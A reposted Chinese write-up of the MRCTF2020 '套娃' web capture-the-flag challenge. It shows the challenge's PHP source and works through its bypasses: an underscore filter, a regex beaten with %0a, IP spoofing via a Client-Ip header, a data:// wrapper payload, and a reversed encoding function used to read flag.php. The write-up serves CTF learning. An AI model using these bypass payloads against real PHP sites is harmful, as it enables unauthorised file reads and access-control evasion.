欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 建筑 > [MRCTF2020]套娃

[MRCTF2020]套娃

2025/3/31 17:19:50 来源:https://blog.csdn.net/2401_86646880/article/details/146569916  浏览:    关键词:[MRCTF2020]套娃

一。

按F12看源代码

发现代码

读代码发现

1.我们传的参数中不能存在_%5f,可以通过使用空格来代替_,还是能够上传成功。

2.正则表达式"/^23333/ " ,开头结尾都被 " " 和 " /",开头结尾都被"^"和"/",开头结尾都被" 
"和""固定,不能匹配如"23333a"等内容,可以使用“%0a”(换行符)绕过

上传

二。

转到secrettw.php

发现什么都没有还看源代码

将这些复制放入控制台

要求POST一个 Merak(传任何数都可以)

三。

先看代码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); 
} function change($v){ //可以通过反写将flag.php传入$v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

得到信息

1.ip不对,需要127.0.0.1。抓包

数据包传递ip我知道有两种。

X-Forwarded-For:127.0.0.1

Client-Ip:127.0.0.1

都试一下,第二个正确

2.get参数2333传来的值,使用文件流打开后内容为todat is a happy day

3.file_get_contents用php伪协议绕过

解释:

让 file_get_contents($_GET['2333']) 返回字符串 todat is a happy day。此时有两种常见思路:

  1. 直接读取本地文件
    例如传递 ?2333=/path/to/file.txt,但需要提前知道服务器上存在一个包含目标字符串的文件,这在CTF中通常不可行。

  2. 利用伪协议动态构造数据
    data:// 协议允许直接在URL中内联数据,无需依赖外部文件或网络请求。这是最直接且可控的方式。

?2333=data:text/plain,todat%20is%20a%20happy%20day

4.反写change加密函数

我是直接交给AI得到 fj]a&f\b

 也可以用PHP代码写

<?php
$v="flag.php";
$re='';
for($i=0;$i<strlen($v);$i++)
{
    $re.=chr(ord($v[$i])-$i*2);
}
$v1=base64_encode($re);
echo $v1;
?>

Base64编码:ZmpdYSZmXGI=

所以最后为?2333=data://text/plain,todat is a happy day &file=ZmpdYSZmXGI=

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词